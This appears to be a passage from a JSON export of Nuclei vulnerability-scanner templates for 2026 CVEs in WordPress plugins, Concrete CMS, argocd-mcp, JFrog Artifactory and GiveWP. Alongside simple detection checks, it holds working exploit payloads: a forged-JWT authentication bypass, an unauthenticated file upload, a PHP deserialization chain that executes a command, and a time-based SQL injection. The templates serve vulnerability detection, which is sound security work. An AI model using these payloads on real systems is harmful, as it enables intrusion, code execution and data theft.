490a00463044022047c02528c2f6680f30d01a1187c320d61e4133b30ea31c8a56bd60e141692983022058be2a42af935d61be1f13c46aadba2e83f466900c0cd96e13e7cc8e6fac3e50:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8385.yaml","vuln_id":"cve-2026-8385"},{"raw":"id: CVE-2026-8383\n\ninfo:\n  name: LearnPress < 4.3.7 - Information Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.\n  impact: |\n    Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.\n  remediation: |\n    Update to version 4.3.7 or later.\n  reference:\n    - https://wpscan.com/vulnerability/b7cbf68b-62c5-4787-b84b-69df9e0122b2/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8383\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-8383\n    epss-score: 0.07623\n    epss-percentile: 0.94578\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: thimpress\n    product: learnpress\n    fofa-query: body=\"/wp-content/plugins/learnpress/\"\n    tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,disclosure,rest-api\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/learnpress/v1/users?context=edit HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"roles\\\"\", \"\\\"capabilities\\\"\", \"registered_date\")'\n        condition: and\n# digest: 4b0a00483046022100d11d725f97abc1429729fa7ceaf3295e674fd9b5f62755ad9a1c7be59a6bea3a02210086e6cabe3a872961a78dc7422ad1d0311b0c8a5a2bda9fac3f1929444e9ddc74:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8383.yaml","vuln_id":"cve-2026-8383"},{"raw":"id: CVE-2026-82901\n\ninfo:\n  name: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as \"{time()}-{field_name}-{sanitize_file_name(basename)}\". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.\n  impact: |\n    Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.\n  remediation: |\n    Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultra-addons-for-contact-form-7-plugin-3-2-4-3-5-50-unauthenticated-arbitrary-file-upload-vulnerability\n    - https://plugins.trac.wordpress.org/browser/ultimate-addons-for-contact-form-7/tags/3.5.48/addons/pdf-generator/pdf-generator.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82901\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L\n    cvss-score: 8.1\n    cve-id: CVE-2026-82901\n    epss-score: 0.04328\n    epss-percentile: 0.91214\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: themefic\n    product: ultimate-addons-for-contact-form-7\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/ultimate-addons-for-contact-form-7/\n    fofa-query: body=\"/wp-content/plugins/ultimate-addons-for-contact-form-7\"\n  tags: cve,cve2026,wordpress,wp-plugin,file-upload,intrusive,uacf7,themefic,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n  filename: \"{{rand_text_alpha(8)}}\"\n  sig_field: \"your-signature\"\n  ts_guess: \"0\"\n\nflow: |\n  http(1);\n  if (!template[\"form_id\"]) {\n    http(2);\n  }\n  if (!template[\"form_id\"]) stop();\n  if (!template[\"unit_tag\"]) {\n    set(\"unit_tag\", \"wpcf7-f\" + template[\"form_id\"] + \"-o1\");\n  }\n  if (!template[\"sig_field\"]) {\n    set(\"sig_field\", \"your-signature\");\n  }\n  var ts_before = Math.floor(new Date().getTime() / 1000);\n  http(3);\n  var ts_after = Math.floor(new Date().getTime() / 1000);\n  for (var delta = ts_after - ts_before + 5; delta >= -2; delta--) {\n    set(\"ts_guess\", String(ts_before + delta));\n    if (http(4)) break;\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - \"contact-forms/(\\\\d+)/feedback\"\n          - \"name=[\\\"']_wpcf7[\\\"'][^>]*value=[\\\"'](\\\\d+)[\\\"']\"\n          - \"id=[\\\"']wpcf7-f(\\\\d+)-\"\n        internal: true\n\n      - type: regex\n        name: unit_tag\n        part: body\n        group: 1\n        regex:\n          - \"name=[\\\"']_wpcf7_unit_tag[\\\"'][^>]*value=[\\\"']([^\\\"']+)[\\\"']\"\n          - \"id=[\\\"'](wpcf7-f\\\\d+-[a-z]?\\\\d*-?o\\\\d+)[\\\"']\"\n        internal: true\n\n      - type: regex\n        name: sig_field\n        part: body\n        group: 1\n        regex:\n          - \"(?i)name=[\\\"']([^\\\"']*(?:uacf7[_-]?sign(?:ature)?)[^\\\"']*)[\\\"']\"\n          - \"name=[\\\"'](your-signature)[\\\"']\"\n        internal: true\n\n  - raw:\n      - |\n        GET /contact/ HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /contact-us/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - \"contact-forms/(\\\\d+)/feedback\"\n          - \"name=[\\\"']_wpcf7[\\\"'][^>]*value=[\\\"'](\\\\d+)[\\\"']\"\n          - \"id=[\\\"']wpcf7-f(\\\\d+)-\"\n        internal: true\n\n      - type: regex\n        name: unit_tag\n        part: body\n        group: 1\n        regex:\n          - \"name=[\\\"']_wpcf7_unit_tag[\\\"'][^>]*value=[\\\"']([^\\\"']+)[\\\"']\"\n          - \"id=[\\\"'](wpcf7-f\\\\d+-[a-z]?\\\\d*-?o\\\\d+)[\\\"']\"\n        internal: true\n\n      - type: regex\n        name: sig_field\n        part: body\n        group: 1\n        regex:\n          - \"(?i)name=[\\\"']([^\\\"']*(?:uacf7[_-]?sign(?:ature)?)[^\\\"']*)[\\\"']\"\n          - \"name=[\\\"'](your-signature)[\\\"']\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUACF782901x\n        X-Requested-With: XMLHttpRequest\n        Accept: application/json\n\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"_wpcf7\"\n\n        {{form_id}}\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"_wpcf7_unit_tag\"\n\n        {{unit_tag}}\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-name\"\n\n        Nuclei\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-email\"\n\n        nuclei@scanner.tld\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-message\"\n\n        test\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"{{sig_field}}\"; filename=\"{{filename}}.pht\"\n        Content-Type: image/png\n\n        CVE-2026-82901-{{marker}}-UPLOAD\n        ------WebKitFormBoundaryUACF782901x--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"contact_form_id\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"CVE-2026-82901-\" + marker + \"-UPLOAD\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502202e2fa277689c2ef7be47ee0c4bc7cad4d0f4f1d45efe01eb537f238bb7f1a41c022100990d48545270b0ccdb97d92fe34f23678801287ba6c7d9acef2c538ac8929b85:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-82901.yaml","vuln_id":"cve-2026-82901"},{"raw":"id: CVE-2026-82456\n\ninfo:\n  name: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access\n  author: kh1166\n  severity: critical\n  description: |\n    argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.\n  impact: |\n    Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.\n  remediation: |\n    Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.\n  reference:\n    - https://github.com/argoproj-labs/mcp-for-argocd/security/advisories/GHSA-rp45-5x3v-48mr\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82456\n    - https://www.vulncheck.com/advisories/argocd-mcp-0.8.0-authentication-bypass-via-unauthenticated-http\n    - https://github.com/argoproj-labs/mcp-for-argocd/releases\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-82456\n    epss-score: 0.02367\n    epss-percentile: 0.83857\n    cwe-id: CWE-306\n  metadata:\n    verified: false\n    max-request: 3\n    vendor: argoproj-labs\n    product: mcp-for-argocd\n  tags: cve,cve2026,argocd,argoproj,mcp,auth-bypass,exposure\n\nflow: |\n  http(1)\n  if (template[\"sid\"] == \"\") {\n    stop()\n  }\n  http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json, text/event-stream\n\n        {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"nuclei\",\"version\":\"1.0\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"serverInfo\\\"\") && contains(body, \"\\\"name\\\":\\\"argocd-mcp\\\"\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sid\n        part: header\n        internal: true\n        group: 1\n        regex:\n          - '(?i)mcp-session-id:\\s*([0-9a-fA-F-]{36})'\n\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json, text/event-stream\n        mcp-session-id: {{sid}}\n\n        {\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 202'\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json, text/event-stream\n        mcp-session-id: {{sid}}\n\n        {\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"name\\\":\\\"list_applications\\\"\") && contains(body, \"\\\"inputSchema\\\"\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        group: 1\n        regex:\n          - '(?i)mcp-session-id:\\s*([0-9a-fA-F-]{36})'\n\n      - type: regex\n        name: write_tools\n        part: body\n        group: 1\n        regex:\n          - '\"name\":\"(create_application|update_application|delete_application|sync_application|run_resource_action)\"'\n# digest: 4a0a004730450220679227904805a7145ec3224c005ca30db339aa3eb40e6e8fbf073861c1804929022100e721b0bd097d1fda8defe1735e71fbfd70af4aee24012cb328b1a3b864d078b0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82456.yaml","vuln_id":"cve-2026-82456"},{"raw":"id: CVE-2026-8237\n\ninfo:\n  name: Concrete CMS <= 9.5.0 - Unauthenticated Conversation Message Disclosure (IDOR)\n  author: Pauullamm\n  severity: medium\n  description: |\n    Concrete CMS <= 9.5.0 contains an IDOR caused by insufficient access control in /ccm/frontend/conversations/message_detail endpoint, letting unauthenticated attackers enumerate conversation messages and attachments.\n  impact: |\n    Unauthenticated attackers can access restricted conversation messages and file attachments, exposing sensitive information.\n  remediation: |\n    Update to a version later than 9.5.0 or the latest available version\n  reference:\n    - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes\n    - https://github.com/advisories/GHSA-xpgc-7vc2-8725\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8237\n  classification:\n    cve-id: CVE-2026-8237\n    cwe-id: CWE-862\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    epss-score: 0.0064\n    epss-percentile: 0.50787\n    cpe: cpe:2.3:a:concretecms:concrete_cms:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    vendor: concretecms\n    product: concrete_cms\n    shodan-query: http.html:\"concrete5\"\n    fofa-query: body=\"concrete5\" || body=\"concretecms\"\n  tags: cve,cve2026,concretecms,concrete5,idor,exposure\n\nhttp:\n  - raw:\n      - |\n        POST /ccm/frontend/conversations/message_detail HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cnvMessageID=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"data-conversation-message-id=\\\"1\\\"\", \"ccm-conversation-message-body\")'\n          - 'contains_any(body, \"ccm-conversation-message-username\", \"ccm-conversation-message-pending-notice\")'\n        condition: and\n# digest: 4a0a00473045022100e1d2524a6d7982598778a659700488cc55a9db4013b519d0b08825c6643b0b710220356faa2da490eed112fe1834d375645adab585c1e575045a01ecab1c5930142f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8237.yaml","vuln_id":"cve-2026-8237"},{"raw":"id: CVE-2026-8236\n\ninfo:\n  name: Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure\n  author: str4k3r\n  severity: medium\n  description: |\n    Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.\n  impact: |\n    Remote attackers can access internal site structure data, potentially exposing sensitive information about the site.\n  remediation: |\n    Update to a version later than 9.5.0 or the latest available version.\n  reference:\n    - https://documentation.concretecms.org/9-x/developers/9.5.1-security-releases\n  classification:\n    cve-id: CVE-2026-8236\n    epss-score: 0.00675\n    epss-percentile: 0.52314\n    cwe-id: CWE-862\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: concretecms\n    product: concrete_cms\n    shodan-query: html:\"/index.php/ccm/system/\"\n  tags: cve,cve2026,concretecms,concrete5,cms,unauth,exposure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php/ccm/system/dialogs/file/usage/1\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<td>Page ID</td>'\n          - 'class=\"ccm-ui\"'\n          - '<td>Handle</td>'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ae1ee4fdf4a4851b2039c40a0426901bb276286baa9614434e06ef7704161dc102201ecf5a542df34e8aca7f0ecbdfbfd3b7e2914f1050f9ac88fb3402fb4a5049ce:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8236.yaml","vuln_id":"cve-2026-8236"},{"raw":"id: CVE-2026-82329\n\ninfo:\n  name: JFrog Artifactory Access Blank Join Key Authentication Bypass\n  author: johnk3r,pruva\n  severity: critical\n  description: |\n    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.\n  impact: |\n    Unauthenticated attackers can gain administrative privileges, leading to full system control.\n  remediation: |\n    Update to the latest version and ensure secure configuration.\n  reference:\n    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes\n    - https://www.pruva.dev/reproductions/REPRO-2026-00341\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-82329\n    epss-score: 0.14372\n    epss-percentile: 0.96628\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"JFrog\"\n  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev\n\nvariables:\n  service_id: \"jfrt@cve202682329nuclei{{rand_text_alpha(10)}}\"\n  node_id: \"cve202682329node{{rand_text_alpha(10)}}\"\n  jwt_claims: '{\"service_id\":\"{{service_id}}\",\"node_id\":\"{{node_id}}\",\"skip_node_registration\":true,\"iat\":{{unix_time()}}000}'\n  forged_jwt: '{{generate_jwt(jwt_claims,\"HS256\",\"                                \")}}'\n\nhttp:\n  - raw:\n      - |\n        POST /access/api/v1/registry/join HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n        User-Agent: JFrogArtifactory/7.146.25\n        Accept: */*\n        Connection: close\n\n        {{forged_jwt}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers-condition: and\n\n    matchers:\n      - type: status\n        status:\n          - 201\n\n      - type: word\n        part: body\n        words:\n          - '\"token\"'\n# digest: 4b0a004830460221009c79e9332bcdfb8e46824ac826c102a800335b20f916961a48cdf3a154b8c5f7022100b2e34c33dbc16735a9e0dcd104b7a6eda07a2b97ad6e4012da5103546ab24bd3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82329.yaml","vuln_id":"cve-2026-82329"},{"raw":"id: CVE-2026-82222\n\ninfo:\n  name: GiveWP <= 4.16.7.1 - Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input\n  impact: |\n    Attackers can perform object injection leading to potential code execution or application logic manipulation.\n  remediation: |\n    Update to the latest version beyond 4.16.7.1.\n  reference:\n    - https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/\n    - https://www.cve.org/CVERecord?id=CVE-2026-82222\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-82222\n    epss-score: 0.0225\n    epss-percentile: 0.82956\n    cwe-id: CWE-502\n  metadata:\n    max-request: 7\n    verified: true\n    vendor: givewp\n    product: givewp\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/give/\"\n    fofa-query: body=\"/wp-content/plugins/give/\"\n  tags: cve,cve2026,wordpress,wp-plugin,givewp,rce,deserialization,intrusive,vkev\n\nvariables:\n  cmd: \"id\"\n  cmd_len: \"{{len(cmd)}}\"\n\nflow: |\n  var chars = \"acfhjnprx\";\n  var u = \"give\";\n  var e = \"give\";\n  var p = \"P0c\";\n  for (var i = 0; i < 8; i++) u += chars.charAt(Math.floor(Math.random() * chars.length));\n  for (var i = 0; i < 8; i++) e += chars.charAt(Math.floor(Math.random() * chars.length));\n  for (var i = 0; i < 6; i++) p += chars.charAt(Math.floor(Math.random() * chars.length));\n  e += \"@example.com\";\n  p += \"Aa1!\";\n  set(\"username\", u);\n  set(\"email\", e);\n  set(\"password\", p);\n  http(1);\n  if (!template[\"form_id\"]) set(\"form_id\", \"1\");\n  if (http(2)) {\n    http(3);\n    if (http(4)) {\n      http(5);\n      if (!template[\"form_nonce\"]) set(\"form_nonce\", \"no-hash\");\n      http(6);\n      http(7);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/give_forms HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*(\\d+)'\n        internal: true\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        give_action=user_register&give_register_submit=1&give_user_login={{username}}&give_user_email={{email}}&give_user_pass={{password}}&give_user_pass2={{password}}&give_redirect={{RootURL}}/\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/profile.php HTTP/1.1\n        Host: {{Hostname}}\n\n    cookie-reuse: true\n    redirects: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"profile.php\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: profile_nonce\n        part: body\n        group: 1\n        regex:\n          - 'name=\"_wpnonce\"[^>]+value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: user_id\n        part: body\n        group: 1\n        regex:\n          - 'name=\"user_id\"[^>]+value=\"([0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/profile.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A%7Bs%3A15%3A%22loadedProviders%22%3Ba%3A1%3A%7Bs%3A6%3A%22getBag%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A13%3A%22attributeName%22%3Bs%3A{{cmd_len}}%3A%22{{url_encode(cmd)}}%22%3B%7D%7D&nickname={{username}}&display_name={{username}}&email={{email}}&url=&description=&pass1=&pass2=&user_login={{username}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=give_donation_form_nonce&give_form_id={{form_id}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_nonce\n        part: body\n        group: 1\n        regex:\n          - '\"data\"\\s*:\\s*\"([a-f0-9]{8,12})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=give_process_donation&give-form-id={{form_id}}&give-form-hash={{form_nonce}}&give-amount=25.00&give-gateway=manual&give-price-id=0&give_first=Test&give_email={{email}}&give-form-title=PoC&give-current-url={{RootURL}}/\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302 || status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        GET /?give_action=view_receipt HTTP/1.1\n        Host: {{Hostname}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 500'\n          - 'regex(\"uid=\\\\d+\\\\([^\\\\)]+\\\\)\\\\s+gid=\\\\d+\\\\([^\\\\)]+\\\\)\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: rce_output\n        group: 0\n        regex:\n          - 'uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)'\n# digest: 4a0a0047304502204f170db6cd5889f7fff412e2e0f1747548f37412d6c990c3142a2cd72ed933a70221008a1c5579452fe8329249df9f421a647b3d8eb29627fb9289351dcac76981c6f3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82222.yaml","vuln_id":"cve-2026-82222"},{"raw":"id: CVE-2026-82186\n\ninfo:\n  name: WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection\n  author: anirbala98\n  severity: medium\n  description: |\n    The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.\n  reference:\n    - https://wpscan.com/vulnerability/a0285ba3-0741-4382-a037-db0ac3fc49d2/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82186\n    - https://wordpress.org/plugins/gdpr-cookie-consent/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N\n    cvss-score: 4.1\n    cve-id: CVE-2026-82186\n    epss-score: 0.00687\n    epss-percentile: 0.52792\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wp-legal-pages\n    product: gdpr-cookie-consent\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/gdpr-cookie-consent/\"\n  tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,gdpr-cookie-consent,authenticated\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin.php?page=wplp-dashboard HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"wpl_cookie_scanner\":\"([a-f0-9]+)\"'\n\n  - raw:\n      - |\n        @timeout: 10s\n        POST /wp-admin/admin-ajax.php?action=wpl_cookie_scanner HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpl_cookie_scanner&security={{nonce}}&wpl_scanner_action=get_pages&offset=0,1) AS T UNION SELECT SLEEP(6)#\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"text/html\")\n          - duration >= 6\n        condition: and\n# digest: 4a0a00473045022100bd067988dd036eca2df051cd0f7ed64d66eee61940625bdba94b98178502d5e20220215cac483381e65fd7a121ea68cc3b1b09f983f6ebb6b5fdd1ffb7c318db1c36:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-82186.yaml","vuln_id":"cve-2026-82186"},{"raw":"id: CVE-2026-8181\n\ninfo:\n  name: WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n  impact: |\n    Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.\n  remediation: |\n    Update to a version later than 3.4.1.1 or the latest available version.\n  reference:\n    - 